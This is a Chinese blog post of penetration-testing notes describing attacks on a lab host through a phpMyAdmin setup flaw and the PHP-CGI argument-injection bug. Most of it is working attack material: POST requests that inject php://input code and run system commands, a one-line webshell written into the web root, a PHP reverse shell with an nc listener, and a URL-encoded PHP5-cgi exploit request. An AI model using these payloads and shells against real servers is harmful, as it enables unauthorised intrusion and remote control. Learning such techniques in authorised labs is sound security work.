【渗透测试笔记】之【手动漏洞挖掘一】

最新推荐文章于 2024-08-20 10:05:31 发布

AA8j

最新推荐文章于 2024-08-20 10:05:31 发布

阅读量807

点赞数

分类专栏：渗透测试文章标签：安全

本文链接：https://blog.csdn.net/qq_44874645/article/details/107161929

版权

渗透测试专栏收录该内容

72 篇文章 25 订阅

订阅专栏

本文详细介绍了如何利用phpMyAdmin的setup漏洞，通过配置漏洞执行PHP代码，进一步执行系统命令，植入WebShell，以及如何利用此Shell执行远程命令和反弹Shell。文章还展示了如何利用Ubuntu/Debian的PHP5-cgi漏洞。

摘要由CSDN通过智能技术生成

phpMyAdmin/setup漏洞

写入WebShell

利用php配置漏洞，执行php代码进而执行系统命令
（可利用Burpsuite发送POST）

POST http://192.168.2.101/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.2.101
Content-Length: 34

<?php
passthru('id');
die();
?>

在这里插入图片描述
将执行命令替换为

passthru('ls /var/www');

查看www网站下的资源
在这里插入图片描述
写入WebShell

passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/1.php');

反斜杠为转义字符
在这里插入图片描述
查看是否上传成功

passthru('ls /var/www');

在这里插入图片描述
写入成功
检查上传文件的内容

passthru('cat /var/www/1.php');

在这里插入图片描述
发现内容无误
访问该页面并执行系统命令

192.168.2.101/1.php?cmd=id

在这里插入图片描述
Shell执行成功

写入反弹Shell

kali自带PHP反弹Shell：

/usr/share/webshells/php/php-reverse-shell.php

拷贝到桌面

cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/2.php

编辑配置

vi 2.php

将反弹IP给为本机IP
在这里插入图片描述
也可以改反弹端口，保存退出
使用nc侦听1234端口：

nc -nvvlp 1234

在这里插入图片描述
上传反弹shell

捕获shell

Ubuntu/Debian默认安装PHP5-cgi漏洞

可直接访问/cgi-bin/php5和/cgi-bin/php
提交漏洞代码

POST 
/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 192.168.2.101
 
<?php
echo system('id');
die();
?>